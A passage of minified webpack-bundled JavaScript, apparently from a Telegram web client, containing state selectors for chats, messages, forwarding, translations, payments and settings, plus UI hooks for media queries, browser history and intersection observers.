o=(0,m.j)(e,n).activeDownloads.byChatId[t.chatId];return!!o&&Boolean(t.isScheduled?o.scheduledIds?.includes(t.id):o.ids?.includes(t.id))}function De(e,t,...[n=(0,r._w)()]){return(0,m.j)(e,n).activeDownloads.byChatId[t]}function Be(e,t){return e.fileUploads.byMessageLocalId[(0,s.KK)(t)]?.progress}function Oe(e,t,n){if(n===a._f){const n=(0,h.Z1)(e,t);if(!n)return;if(!n.lastReadInboxMessageId)return;return!n.lastMessage||n.unreadCount?n.lastReadInboxMessageId:n.lastMessage.id}{const o=ie(e,t,n);if(!o)return;return o.lastReadInboxMessageId?Math.min(o.lastReadInboxMessageId,o.lastMessageId||1/0):o.threadId}}function xe(e,t,n){const o=(0,h.Z1)(e,t);if(n===a._f){if(!o)return}else{const o=ie(e,t,n);if(!o||void 0!==o.lastMessageId&&o.lastMessageId===o.lastReadInboxMessageId)return}const r=z(e,t,n),s=K(e,t,n),d=$(e,t);if(!d||!r?.length&&!s)return;const c=Oe(e,t,n);if(!c&&o&&o.isNotJoined)return;const u=t===i.awM?e.serviceNotifications.reduce(((e,t)=>!t.isUnread&&t.id>e?t.id:e),-1):-1;function l(e){return e.find((e=>(!c||e>c)&&d[e]&&(!d[e].isOutgoing||d[e].content.action?.isTopicAction||d[e].isFromScheduled)&&e>u))}if(r?.length){const e=r.map((e=>l(e))).filter(Boolean)[0];if(e)return e}if(s){const e=l(s);if(e)return e}}function _e(e,...[t=(0,r._w)()]){const{forwardMessages:n}=(0,m.j)(e,t);return Boolean(n.isModalShown)}function Fe(e,t){const n=Object.values(e.chats.byId).find((e=>(0,s.Ru)(e)&&e.lastMessage&&e.lastMessage.id===t));if(n)return n.id;const{byChatId:o}=e.messages;return Object.keys(o).find((n=>{const r=(0,h.Z1)(e,n);return r&&(0,s.Ru)(r)&&o[r.id].byId[t]}))}function je(e,...[t=(0,r._w)()]){const{selectedMessages:n}=(0,m.j)(e,t);return Boolean(n)}function $e(e,t,...[n=(0,r._w)()]){const{messageIds:o}=(0,m.j)(e,n).selectedMessages||{};return!!o&&o.includes(t)}function Ue(e,t,n){const o=$(e,t);if(o)return Object.values(o).filter((e=>e.groupedId===n&&e.forwardInfo)).map((({forwardInfo:e})=>e.fromMessageId))}function Ve(e,t,n){const o=$(e,t);if(o)return Object.keys(o).map(Number).filter((e=>o[e].groupedId===n))}function He(e,t,n,...[o=(0,r._w)()]){const{messageIds:s}=(0,m.j)(e,o).selectedMessages||{};if(!s)return!1;const a=Ve(e,t,n);return a&&a.every((e=>s.includes(e)))}function We(e,...[t=(0,r._w)()]){const{messageIds:n}=(0,m.j)(e,t).selectedMessages||{};return n?n.length:0}function Ke(e,t,n=a._f,...[o=(0,r._w)()]){if(!(0,h.Z1)(e,t))return;const s=$(e,t),i=Y(e,t,n,o);if(!s||!i)return;const c=(0,d.dF)(i,(t=>{const n=s[t];return n&&function(e,t){const{keyboardButtons:n,shouldHideKeyboardButtons:o,isKeyboardSelective:r,isMentioned:s}=t;if(!n||o)return!1;const a=(0,f.H)(t)?.replyToMsgId;if(r){if(s)return!0;if(!a)return!1;const n=me(e,t.chatId,a);return Boolean(n?.senderId===e.currentUserId)}return!0}(e,n)})),u=(0,d.dF)(i,(t=>{const n=s[t];return n&&function(e,t){const{shouldHideKeyboardButtons:n,isHideKeyboardSelective:o,isMentioned:r}=t;if(!n)return!1;const s=(0,f.H)(t)?.replyToMsgId;if(o){if(r)return!0;if(!s)return!1;const n=me(e,t.chatId,s);return Boolean(n?.senderId===e.currentUserId)}return!0}(e,n)}));return c&&u&&u>c?void 0:c?s[c]:void 0}function Ge(e,t){const n=(0,h.Z1)(e,t.chatId);if(!n)return;const o=Ie(e,t),r=Boolean((0,s.O$)(t)||(0,s.F$)(t)),a=Boolean((0,s.b7)(t)||(0,s.Cg)(t)),i=Boolean((0,s.oP)(t)||(0,s.kd)(t)||(0,s.aE)(t)),{canAutoLoadPhotoFromContacts:d,canAutoLoadPhotoInPrivateChats:c,canAutoLoadPhotoInGroups:u,canAutoLoadPhotoInChannels:l,canAutoLoadVideoFromContacts:f,canAutoLoadVideoInPrivateChats:m,canAutoLoadVideoInGroups:p,canAutoLoadVideoInChannels:g,canAutoLoadFileFromContacts:y,canAutoLoadFileInPrivateChats:b,canAutoLoadFileInGroups:v,canAutoLoadFileInChannels:w}=e.settings.byKey;return r?ze({global:e,chat:n,sender:o,canAutoLoadMediaFromContacts:d,canAutoLoadMediaInPrivateChats:c,canAutoLoadMediaInGroups:u,canAutoLoadMediaInChannels:l}):a?ze({global:e,chat:n,sender:o,canAutoLoadMediaFromContacts:f,canAutoLoadMediaInPrivateChats:m,canAutoLoadMediaInGroups:p,canAutoLoadMediaInChannels:g}):!i||ze({global:e,chat:n,sender:o,canAutoLoadMediaFromContacts:y,canAutoLoadMediaInPrivateChats:b,canAutoLoadMediaInGroups:v,canAutoLoadMediaInChannels:w})}function ze({global:e,chat:t,sender:n,canAutoLoadMediaFromContacts:o,canAutoLoadMediaInPrivateChats:r,canAutoLoadMediaInGroups:a,canAutoLoadMediaInChannels:i}){const d=Boolean(n&&(n.id===e.currentUserId||(0,S.nM)(e,n)));return Boolean(d&&o||!d&&r&&(0,s.YC)(t.id)||a&&(0,s.Bf)(t)||i&&(0,s.eA)(t))}function qe(e){const{serviceNotifications:t}=e,n=Math.max(...t.map((({id:e})=>e)));return t.find((({id:e,isDeleted:t})=>!t&&e===n))}function Ye(e,t){return Boolean(t&&(t.isProtected||Je(e,t.chatId)))}function Je(e,t){return(0,h.Z1)(e,t)?.isProtected||!1}function Xe(e,t,n){if((0,h.Z1)(e,t)?.isProtected)return!0;if(!n)return!1;const o=$(e,t);return n.some((e=>o[e]?.isProtected))}function Qe(e,t,n){if((0,h.Z1)(e,t)?.isProtected)return!1;if(!n)return!1;const o=$(e,t);return n.map((e=>o[e])).every((e=>e.isForwardingAllowed||(0,s.jM)(e)))}function et(e,t){const n=(0,h.Z1)(e,t),o=n&&(0,s.eA)(n)?e.messages.sponsoredByChatId[t]:void 0;return o&&o.expiresAt>=Math.round(Date.now()/1e3)?o:void 0}function tt(e,t){if(t===i.awM)return;const n=(0,s.YC)(t),o=e.config?.defaultReaction;if(!o)return;if(n)return o;const r=(0,h.x6)(e,t)?.enabledReactions;return r&&(0,s.XU)(o,r)?o:void 0}function nt(e){const t=(0,S.wV)(e),{maxUserReactionsPremium:n=3,maxUserReactionsDefault:o=1}=e.appConfig||{};return t?n:o}function ot(e,...[t=(0,r._w)()]){const{chatId:n,threadId:o}=F(e,t)||{};if(!n||!o)return;const s=V(e,n,o,"viewportIds",t);return s?s.map((t=>{const{senderId:o}=me(e,n,t)||{};return o?(0,S.dy)(e,o):void 0})).filter(Boolean):void 0}function rt(e,...[t=(0,r._w)()]){return"scheduled"===F(e,t)?.type}function st(e,t){const n=(0,h.FM)(e,t),o=t===i.FVh&&(0,S.kB)(e,t);return Boolean(!n&&!o&&(0,s.YC)(t)&&(0,S.ss)(e,t)?.wasOnline)}function at(e,t){const n=function(e){const t=e.content.text?.entities;return t?.filter((e=>e.type===a.Vv.CustomEmoji))}(t);if(!n)return c.D;const o=n.map((t=>e.customEmojis.byId[t.documentId]));return o.every(Boolean)?o.map((e=>e.stickerSetInfo)).reduce(((e,t)=>("shortName"in t&&e.some((e=>"shortName"in e&&e.shortName===t.shortName))||"id"in t&&e.some((e=>"id"in e&&e.id===t.id))||e.push(t),e)),[]):void 0}function it(e,...[t=(0,r._w)()]){const{messageIds:n,fromChatId:o}=(0,m.j)(e,t).forwardMessages;if(!n)return!1;const s=$(e,o);return n.some((e=>{const t=s[e];return Boolean(t.content.voice)||t.content.video?.isRound}))}function dt(e,t){return e.translations.byChatId[t]}function ct(e,t,n){return dt(e,t)?.byLangCode[n]||{}}function ut(e,t,n,...[o=(0,r._w)()]){const s=(0,m.j)(e,o).requestedTranslations.byChatId[t];return s?.toLanguage||s?.manualMessages?.[n]}function lt(e,t,...[n=(0,r._w)()]){const{messageIds:o,storyId:a,fromChatId:i}=(0,m.j)(e,n).forwardMessages,d=(0,h.Z1)(e,t);if(!o&&!a||!d)return!1;if(a)return!0;const c=$(e,i),{canSendVoices:u,canSendRoundVideos:l,canSendStickers:f,canSendDocuments:p,canSendAudios:g,canSendVideos:y,canSendPhotos:b,canSendGifs:v,canSendPlainText:w}=(0,s.H5)(d);return!o.some((e=>{const t=c[e],n=t.content.voice,o=t.content.video?.isRound,r=t.content.photo,s=t.content.video?.isGif,a=t.content.video&&!o&&!s,i=t.content.audio,d=t.content.document,h=t.content.sticker,m=t.content.text&&!n&&!o&&!h&&!d&&!i&&!a&&!r&&!s;return n&&!u||o&&!l||h&&!f||d&&!p||i&&!g||a&&!y||r&&!b||s&&!v||m&&!w}))}function ft(e,t,n,...[o=(0,r._w)()]){const{canTranslate:a,doNotTranslate:i}=e.settings.byKey,d=!n||!i.includes(n),c=(0,s.cT)(t),u=(0,h.lp)(e,t.chatId,o);return l.SX&&a&&d&&c&&!u}function ht(e,t,n,o){const r=(0,h.Z1)(e,t);if(!r)return;const d=(0,s.WS)(r),c=(0,s.eA)(r)||(0,s.ZV)(r)?t.replace("-100",""):t.replace("-",""),u=d||`c/${c}`,l=n&&n!==a._f?`/${n}`:"",f=o?`/${o}`:"";return`${i.zHP}${u}${l}${f}`}function mt(e,t,n){return ht(e,t,n)}function pt(e,t,n,o){if(!(0,h.Z1)(e,t))return;const r=n===a._f;return o||!r?{type:"message",...o,replyToMsgId:o?.replyToMsgId||n,replyToTopId:o?.replyToTopId||(r?void 0:n)}:void 0}function gt(e,...[t=(0,r._w)()]){const{chatId:n,threadId:o}=F(e,t)||{};if(!n||!o)return;const a=(0,s.uw)(n,o),i=(0,m.j)(e,t).localTextSearch.byChatThreadKey[a];return i&&i.isActive?i:void 0}function yt(e,...[t=(0,r._w)()]){const{chatId:n,threadId:o}=F(e,t)||{};if(!n||!o)return;const a=(0,s.uw)(n,o);return(0,m.j)(e,t).localMediaSearch.byChatThreadKey[a]}function bt(e,t,...[n=(0,r._w)()]){return(0,m.j)(e,n).management.byChatId[t]}function vt(e,...[t=(0,r._w)()]){const{chatId:n,threadId:o}=F(e,t)||{};if(!n||!o)return;if((0,S.kB)(e,n))return"bot";if((0,s.YC)(n))return"user";const a=(0,h.Z1)(e,n);return a?(0,s.Bf)(a)?"group":"channel":void 0}function wt(e,t){const n=(0,h.Z1)(e,t);if(!n||n.isRestricted)return!1;const o=(0,s.YC)(n.id)?(0,S.dy)(e,t):void 0,r=o&&(0,s.kw)(o),a=o&&(0,s.cS)(o);return Boolean(!r&&n&&!(0,h.FM)(e,n.id)&&((0,s.YC)(n.id)||((0,s.Nl)(n)||n.isCreator)&&!n.isNotJoined)&&!a)}function It(e,t,...[n=(0,r._w)()]){return(0,m.j)(e,n).statistics.byChatId[t]}function Ct(e,...[t=(0,r._w)()]){const{mediaViewer:n}=(0,m.j)(e,t);return Boolean(n.mediaId||n.avatarOwnerId)}function St(e,t,...[n=(0,r._w)()]){const s=(0,m.j)(e,n);return s.editTopicPanel?o.qt.EditTopic:s.createTopicPanel?o.qt.CreateTopic:s.pollResults.messageId?o.qt.PollResults:!t&&gt(e,n)?o.qt.Search:function(e,...[t=(0,r._w)()]){const{chatId:n,threadId:o}=F(e,t)||{};if(!n||!o)return;const s=(0,m.j)(e,t).management.byChatId[n];return s?.isActive?s:void 0}(e,n)?o.qt.Management:s.isStatisticsShown&&s.statistics.currentMessageId?o.qt.MessageStatistics:s.isStatisticsShown&&s.statistics.currentStoryId?o.qt.StoryStatistics:function(e,...[t=(0,r._w)()]){if(!(0,m.j)(e,t).isStatisticsShown)return!1;const{chatId:n}=F(e,t)||{};return n?(0,h.x6)(e,n)?.canViewStatistics:void 0}(e,n)?o.qt.Statistics:s.boostStatistics?o.qt.BoostStatistics:void 0!==s.stickerSearch.query?o.qt.StickerSearch:void 0!==s.gifSearch.query?o.qt.GifSearch:s.newChatMembersProgress!==o.WB.Closed?o.qt.AddingMembers:s.isChatInfoShown&&s.messageLists.length?o.qt.ChatInfo:void 0}function Et(e,t,...[n=(0,r._w)()]){return void 0!==St(e,t,n)}function Pt(e){const{theme:t}=e.settings.byKey;return t}function kt(e,...[t=(0,r._w)()]){const n=(0,m.j)(e,t);return Boolean(n.forumPanelChatId)&&(void 0===n.globalSearch.query||Boolean(n.globalSearch.isClosing))}function Tt(e,...[t=(0,r._w)()]){return!kt(e,t)}function Mt(e,...[t=(0,r._w)()]){const{reactionPicker:n}=(0,m.j)(e,t);return Boolean(n?.position)}function At(e){return e.settings.performance}function Lt(e,t){return e.settings.performance[t]}function Nt(e,t){const n=(0,s.b7)(t)||(0,s.Cg)(t);if(!n)return;const o=Lt(e,"autoplayVideos"),r=Lt(e,"autoplayGifs"),a=n.isGif||n.isRound;return o&&!a||r&&a}function Rt(e){return Lt(e,"loopAnimatedStickers")}function Zt(e){return Lt(e,"animatedEmoji")}function Dt(e){return Lt(e,"pageTransitions")}function Bt(e){return Lt(e,"contextMenuBlur")}function Ot(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).globalSearch.query}function xt(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).payment.inputInvoice}function _t(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).payment.formId}function Ft(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).payment.requestId}function jt(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).payment.nativeParams?.publishableKey}function $t(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).payment.nativeParams?.publicToken}function Ut(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).payment.stripeCredentials}function Vt(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).payment.smartGlocalCredentials}function Ht(e){return e.settings.byKey}function Wt(e){return e.settings.notifyExceptions}function Kt(e){return e.settings.byKey.language.replace("-raw","")}function Gt(e){return e.authRememberMe&&e.isCacheApiSupported}function zt(e){return e.settings.byKey.translationLanguage||Kt(e)}},85967:(e,t,n)=>{n.d(t,{j:()=>r});var o=n(65054);function r(e,...[t=(0,o._w)()]){return e.byTabId[t]}},86087:(e,t,n)=>{n.d(t,{Bk:()=>u,cc:()=>a,dy:()=>r,kB:()=>f,nM:()=>l,oe:()=>c,s4:()=>i,ss:()=>s,wV:()=>d});var o=n(4463);function r(e,t){return e.users.byId[t]}function s(e,t){return e.users.statusesById[t]}function a(e,t){return e.users.fullInfoById[t]}function i(e,t){return a(e,t)?.isBlocked}function d(e){return!!e.currentUserId&&Boolean(e.users.byId[e.currentUserId].isPremium)}function c(e){return e.appConfig?.isPremiumPurchaseBlocked??!0}function u(e,t){const n=t.replace(/[^0-9]/g,"");return Object.values(e.users.byId).find((e=>e?.phoneNumber===n))}function l(e,t){return e.contactList&&e.contactList.userIds.includes(t.id)}function f(e,t){const n=r(e,t);if(n&&(0,o.cS)(n))return n}},22268:(e,t,n)=>{n.d(t,{Z:()=>c});var o=n(60748),r=n(27370);function s(e,t,n){var o;return(t="symbol"==typeof(o=function(e,t){if("object"!=typeof e||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var o=n.call(e,"string");if("object"!=typeof o)return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(t))?o:String(o))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}const a="http://www.w3.org/2000/svg",i=new Map;class d{constructor(e){this.color=e,s(this,"filterId",void 0),s(this,"element",void 0),s(this,"referenceCount",0),this.filterId=`color-filter-${e.slice(1)}`,this.element=document.createElementNS(a,"svg"),this.element.width.baseVal.valueAsString="0px",this.element.height.baseVal.valueAsString="0px";const t=document.createElementNS(a,"defs");this.element.appendChild(t);const n=document.createElementNS(a,"filter");n.id=this.filterId,n.setAttribute("color-interpolation-filters","sRGB"),t.appendChild(n);const o=document.createElementNS(a,"feColorMatrix");o.setAttribute("type","matrix");const i=(0,r.oo)(e);o.setAttribute("values",`0 0 0 0 ${i.r/255} 0 0 0 0 ${i.g/255} 0 0 0 0 ${i.b/255} 0 0 0 1 0`),n.appendChild(o),document.body.appendChild(this.element)}getFilterId(){return this.referenceCount+=1,this.filterId}removeReference(){this.referenceCount-=1,0===this.referenceCount&&this.element.remove()}isUsed(){return this.referenceCount>0}}function c(e,t){if((0,o.d4)((()=>{if(e)return()=>{const t=i.get(e);t&&(t.removeReference(),t.isUsed()||i.delete(t.color))}}),[e]),!e)return;if(i.has(e))return u(i.get(e).getFilterId(),t);const n=new d(e);return i.set(e,n),u(n.getFilterId(),t)}function u(e,t){return t?`url(#${e})`:`filter: url(#${e});`}},92085:(e,t,n)=>{n.d(t,{Z:()=>c});var o=n(60748),r=n(18629),s=n(25190),a=n(78722);const i="color",d=`50ms ${i} linear`;function c(e,t){const[n,c]=(0,o.eJ)(),u=(0,s.Z)((()=>{if(!e.current||t)return void c(void 0);const n=(0,r.ZX)(getComputedStyle(e.current),i);c(n)}));return(0,a.Z)(e,u,t),(0,o.bt)((()=>{const n=e.current;if(n&&!t)return n.style.setProperty("transition",d,"important"),()=>{n.style.removeProperty("transition")}}),[t,e]),(0,o.d4)((()=>{const n=e.current;if(n&&(u(),!t))return n.addEventListener("transitionend",o),()=>{n.removeEventListener("transitionend",o)};function o(e){e.propertyName===i&&u()}}),[t,e,u]),n}},42797:(e,t,n)=>{n.d(t,{W7:()=>p,ZP:()=>b,c9:()=>g});var o=n(60748),r=n(83716),s=n(16063),a=n(97184),i=n(43858),d=n(65326);const c=new Map,u=(0,s._)();let l,f,h,m;function p(){return l}function g(){return f}function y(){l=c.get("mobile")?.matches||!1,f=!l&&(c.get("tablet")?.matches||!1),h=c.get("landscape")?.matches||!1,m=c.get("touch")?.matches||!1,(0,i.z)(),u.runCallbacks()}function b(){const e=(0,d.Z)();return(0,o.d4)((()=>u.addCallback(e)),[e]),{isMobile:l,isTablet:f,isLandscape:h,isDesktop:!l&&!f,isTouchScreen:m}}!function(){const e=window.matchMedia(`(max-width: ${r.l35}px),   (max-width: ${r.u_N}px and max-height: ${r.rOO}px)`);c.set("mobile",e),e.addEventListener("change",y);const t=window.matchMedia(`(max-width: ${r.ksF}px)`);c.set("tablet",t),t.addEventListener("change",y);const n=window.matchMedia(a.cj?"(orientation: landscape)":"screen and (min-device-aspect-ratio: 1/1) and (orientation: landscape)");c.set("landscape",n),n.addEventListener("change",y);const o=window.matchMedia("(pointer: coarse)");c.set("touch",o),o.addEventListener("change",y)}(),y()},77510:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(60748);const r=(e,t,n)=>{const[r,s]=(0,o.eJ)(!1),[a,i]=(0,o.eJ)(),[d,c]=(0,o.eJ)(n);return(0,o.d4)((()=>{s(!0);let t=!1;return e().then((e=>{t||(s(!1),c(e))}),(e=>{t||(s(!1),i(e))})),()=>{t=!0}}),t),{isLoading:r,error:a,result:d}}},12019:(e,t,n)=>{n.d(t,{Z:()=>d});var o=n(60748),r=n(84112),s=n(85266),a=n(69118),i=n(25190);const d=(e=!1,t,n)=>{const[d,c]=(0,o.eJ)(!e),[u,l]=(0,o.eJ)(!1),[f,h]=(0,o.eJ)(0),[m,p]=(0,o.eJ)([]),g=(0,o.Ye)((()=>(0,a.Ds)(c,200,!1,!0)),[]),y=(0,i.Z)((e=>{const o=e.currentTarget;if(o.duration<.1)n?.();else if("timeupdate"===e.type&&t?.(e),!(0,s.z)(o)){if(o.buffered.length){const e=function(e,t){const n=[];for(let o=0;o<e.length;o++)n.push({start:e.start(o)/t,end:e.end(o)/t});return n}(o.buffered,o.duration),t=e.reduce(((e,{start:t,end:n})=>e+n-t),0);h(t/o.duration),p((t=>(0,r.A)(t,e)?t:e))}g(o.readyState>=3||o.currentTime>0),l((e=>e||o.readyState>3))}}));return{isReady:u,isBuffered:d,bufferedProgress:f,bufferedRanges:m,bufferingHandlers:{onLoadedData:y,onPlaying:y,onLoadStart:y,onPause:y,onTimeUpdate:y,onProgress:y},checkBuffering(e){g(e.readyState>=3)}}}},45864:(e,t,n)=>{n.d(t,{Z:()=>u});var o=n(60748),r=n(28712),s=n(25190),a=n(78722),i=n(76997),d=n(3927);const c=150;function u(e,t){const[n,u]=(0,o.eJ)(),[l,f]=(0,o.eJ)(),h=(0,s.Z)((()=>{const n=e.current,o=t?.current;if(!n||!o)return;if(!o.offsetWidth||!o.offsetHeight)return;const s=n.classList.contains("sticker-set-cover")||n.classList.contains("sticker-reaction")?n:n.querySelector("img");if(!s)return;const a=s.getBoundingClientRect(),i=o.getBoundingClientRect();u((0,r.NM)((a.left-i.left)/i.width,4)||0),f((0,r.NM)((a.top-i.top)/i.height,4)||0)}));(0,o.d4)(h,[h]);const m=(0,d.Z)(h,[h],c);return(0,a.Z)(t,m),(0,i.Z)(t,m),(0,o.Ye)((()=>void 0!==n&&void 0!==l?{x:n,y:l}:void 0),[n,l])}},18360:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(87204);function r(e,t=!1,n=!1){const r=(0,o.Z)(e,t);return n||null!=e?e:r}},67360:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(69118);function s(e,t,n,s=!1,a=!1){const i=(0,o.I4)(e,t);return(0,o.Ye)((()=>(0,r.Ds)(i,n,!s,!a)),[i,n,s,a])}},7792:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(60748);const r=function(e){(0,o.d4)(e,[])}},274:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(60748);const r=(e,t,n)=>{const r=(0,o.sO)();return(0,o.d4)((()=>{const n=r.current;return r.current=t,e(n||[])}),t,n)}},97458:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(97184);const s=e=>{const t=(0,o.sO)(!1),n=(0,o.sO)(window.screenX),s=(0,o.sO)(window.screenY),a=(0,o.sO)(0);(0,o.d4)((()=>{const o=e.current;if(!o||!r.D$||!r.jm)return;const i=e=>{a.current=0,t.current&&(e.preventDefault(),e.stopPropagation(),t.current=!1)},d=e=>{t.current&&(e.preventDefault(),e.stopPropagation())},c=e=>{1===e.buttons&&(a.current+=Math.sqrt((n.current-window.screenX)**2+(s.current-window.screenY)**2),n.current=window.screenX,s.current=window.screenY,!t.current&&a.current>5&&(t.current=!0))},u=e=>{e.currentTarget===e.target&&window.electron?.handleDoubleClick()};return o.addEventListener("click",i),o.addEventListener("mousedown",d),o.addEventListener("mousemove",c),o.addEventListener("dblclick",u),()=>{o.removeEventListener("click",i),o.removeEventListener("mouseup",d),o.removeEventListener("mousemove",c),o.removeEventListener("dblclick",u)}}),[e])}},60706:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(60748);const r=(e=!1,t)=>{const[n,r]=(0,o.eJ)(e,t);return[n,(0,o.I4)((()=>{r(!0)}),[]),(0,o.I4)((()=>{r(!1)}),[])]}},65326:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(60748);const r=()=>{const[,e]=(0,o.eJ)(!1);return(0,o.I4)((()=>{e((e=>!e))}),[])}},18674:(e,t,n)=>{n.d(t,{YW:()=>f,ZP:()=>h,zG:()=>l});var o=n(60748),r=n(16063),s=n(25190);const a=1e3,i=(0,r._)(),d=(0,r._)();let c,u=!1;function l(){return u}function f(e=a){function t(){c&&(clearTimeout(c),c=void 0),u=!1,d.runCallbacks()}return u||(u=!0,i.runCallbacks()),c&&(clearTimeout(c),c=void 0),c=window.setTimeout(t,e),t}const h=(e,t,n=!1)=>{const r=(0,s.Z)(e),a=(0,s.Z)(t);(0,o.d4)((()=>{if(!n)return u&&r(),i.addCallback(r),d.addCallback(a),()=>{d.removeCallback(a),i.removeCallback(r)}}),[n,a,r])}},46590:(e,t,n)=>{n.d(t,{Z:()=>k});var o=n(60748),r=n(65116),s=n(83716),a=n(57710),i=n(97184),d=n(7792),c=n(25190),u=n(34446);const l=`${window.location.pathname}${window.location.search}`,f=Number(new Date);let h,m,p=!1,g=[],y=[],b=!1;function v(){b&&setTimeout((()=>{b=!1}),350)}function w(){const e=g.filter((e=>"go"===e.type)),t=g.filter((e=>"go"!==e.type)),n=e.reduce(((e,t)=>e+t.delta),0);g=[],n&&(window.history.go(n),t.length)?y.push(...t):I(t)}function I(e){e.forEach((e=>window.history[e.type](e.data,"",e.hash)))}function C(e){g.length||(0,a.i$)(w),g.push(e)}function S(){m=0,h=[{index:0,onBack:()=>window.history.back()}],window.history.replaceState({index:0,historyUniqueSessionId:f},"",l)}function E(e=1){let t=e;for(let e=m-1;e>0&&h[e].isClosed;e--)t++;return t&&(p=!0,C({type:"go",delta:-t})),t}function P(){let e=!1;for(let t=h.length-1;t>0;t--)h[t].isClosed||(!e&&b&&((0,r.Sv)().disableHistoryAnimations(),e=!0),h[t].onBack?.());S()}function k({isActive:e,shouldBeReplaced:t,shouldResetUrlHash:n,hash:r,onBack:s}){const a=(0,c.Z)(s),i=(0,o.sO)(),l=(0,o.sO)(!1),p=(0,o.sO)(!0),g=(0,o.I4)(((e=!1)=>{const o=e||h[m].shouldBeReplaced;i.current=o?m:++m,m=i.current;const s=h[i.current];s&&!s.isClosed&&s.markReplaced?.(),h[i.current]={index:i.current,onBack:a,shouldBeReplaced:t,markReplaced:()=>{l.current=!0}},C({type:o?"replaceState":"pushState",data:{index:i.current,historyUniqueSessionId:f},hash:r?`#${r}`:n?" ":void 0})}),[r,t,n]),y=(0,o.I4)((()=>{i.current&&h[i.current]&&!l.current&&(h[i.current].isClosed=!0,l.current=!0,i.current!==m||t||(m-=E()))}),[t]);(0,d.Z)((()=>(p.current=!1,()=>{e&&!l.current&&y()}))),(0,u.Z)((([t])=>{t!==e&&(p.current&&!e||(e?g():y()))}),[e,y,g])}s.Cgt&&(window.TEST_getHistoryState=()=>h,window.TEST_getHistoryCursor=()=>m),i.cj&&(window.addEventListener("touchstart",(function(e){const t=e.touches[0].pageX;(t<=300||t>=window.innerWidth-300)&&(b=!0)})),window.addEventListener("touchend",v),window.addEventListener("popstate",v)),S(),window.addEventListener("popstate",(({state:e})=>{if(p)return p=!1,void(y.length&&(I(y),y=[]));if(!e)return P(),void window.location.hash;const{index:t,historyUniqueSessionId:n}=e;if(n===f){if(t!==m)if(t<m){let e=0,n=!1;for(let o=m;o>t-e;o--)h[o].isClosed?e++:(!n&&b&&((0,r.Sv)().disableHistoryAnimations(),n=!0),h[o].onBack?.());const o=E(e);m+=t-m-o,m<0&&(m=0)}else t>m&&(p=!0,C({type:"go",delta:-(t-m)}))}else P()}))},3657:(e,t,n)=>{n.d(t,{Op:()=>c,S1:()=>i,_N:()=>d});var o=n(60748),r=n(69118),s=n(18674),a=n(25190);function i({rootRef:e,throttleMs:t,throttleScheduler:n,debounceMs:i,shouldSkipFirst:d,margin:c,threshold:u,isDisabled:l},f){const h=(0,o.sO)(),m=(0,o.sO)(),p=(0,o.sO)(0),g=(0,o.sO)();m.current=f;const y=(0,a.Z)((()=>{p.current++})),b=(0,a.Z)((()=>{p.current&&(p.current--,!p.current&&g.current&&(g.current(),g.current=void 0))}));return(0,s.ZP)(y,b),(0,o.d4)((()=>{if(!l)return()=>{h.current&&(h.current.observer.disconnect(),h.current.callbacks.clear(),h.current=void 0)}}),[l]),{observe:(0,a.Z)(((o,s)=>{h.current||function(){const o=new Map,s=new Map;let a;function l(){if(p.current)return void(g.current=a);const e=Array.from(s.values());e.forEach((t=>{const n=o.get(t.target);n&&n(t,e)})),m.current&&m.current(e),s.clear()}a="function"==typeof n?(0,r.d0)(n,l):t?(0,r.P2)(l,t,!d):i?(0,r.Ds)(l,i,!d):l;const f=new IntersectionObserver((e=>{e.forEach((e=>{s.set(e.target,e)})),p.current?g.current=a:a()}),{root:e.current,rootMargin:c?`${c}px`:void 0,threshold:u});h.current={observer:f,callbacks:o}}();const a=h.current;return a.observer.observe(o),s&&a.callbacks.set(o,s),()=>{s&&a.callbacks.delete(o),a.observer.unobserve(o)}})),freeze:y,unfreeze:b}}function d(e,t,n){const r=(0,a.Z)(n);(0,o.d4)((()=>t?t(e.current,r):void 0),[r,t,e])}function c(e,t,n){const[r,s]=(0,o.eJ)(!t);return d(e,t,(e=>{s(e.isIntersecting),n&&n(e)})),r}},72313:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(25190);const s=(e,t,n,s,a)=>{const[i,d]=(0,o.eJ)(-1);return(0,o.d4)((()=>{d(-1);const n=e.current;t&&n&&!a&&(n.tabIndex=-1,n.focus())}),[e,t,a]),(0,r.Z)((t=>{const o=e.current;if(!o)return;if(13===t.keyCode&&n)return void n(i);if(38!==t.keyCode&&40!==t.keyCode)return;const r=document.activeElement,a=Array.from(s?o.querySelectorAll(s):o.children);let c=r&&a.indexOf(r)||i;if(38===t.keyCode&&c>0)c--;else if(40===t.keyCode&&c<a.length-1)c++;else{if(1!==a.length)return;c=0}const u=a[c];u&&(d(c),u.focus())}))}},59107:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(59692),r=n(7792),s=n(65326);const a=()=>{const e=(0,s.Z)();return(0,r.Z)((()=>o.ll(e))),o.QO()}},25190:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(70971);function s(e){const t=(0,r.Y)(e);return(0,o.I4)(((...e)=>t.current?.(...e)),[])}},6202:(e,t,n)=>{n.d(t,{Z:()=>i});var o=n(60748),r=n(6137),s=n(40647),a=n(65326);const i=(e,t=!1,n=r.IU.BlobUrl,i)=>{const d=e?s.UV(e):void 0,c=(0,a.Z)();return(0,o.d4)((()=>{if(!t&&e&&!d){const t=Date.now();s.he(e,n).then((()=>{const e=Date.now()-t;!i||e>=i?c():setTimeout(c,i-e)}))}}),[t,e,d,n,c,i]),d}},70692:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(31212);function r(e){const 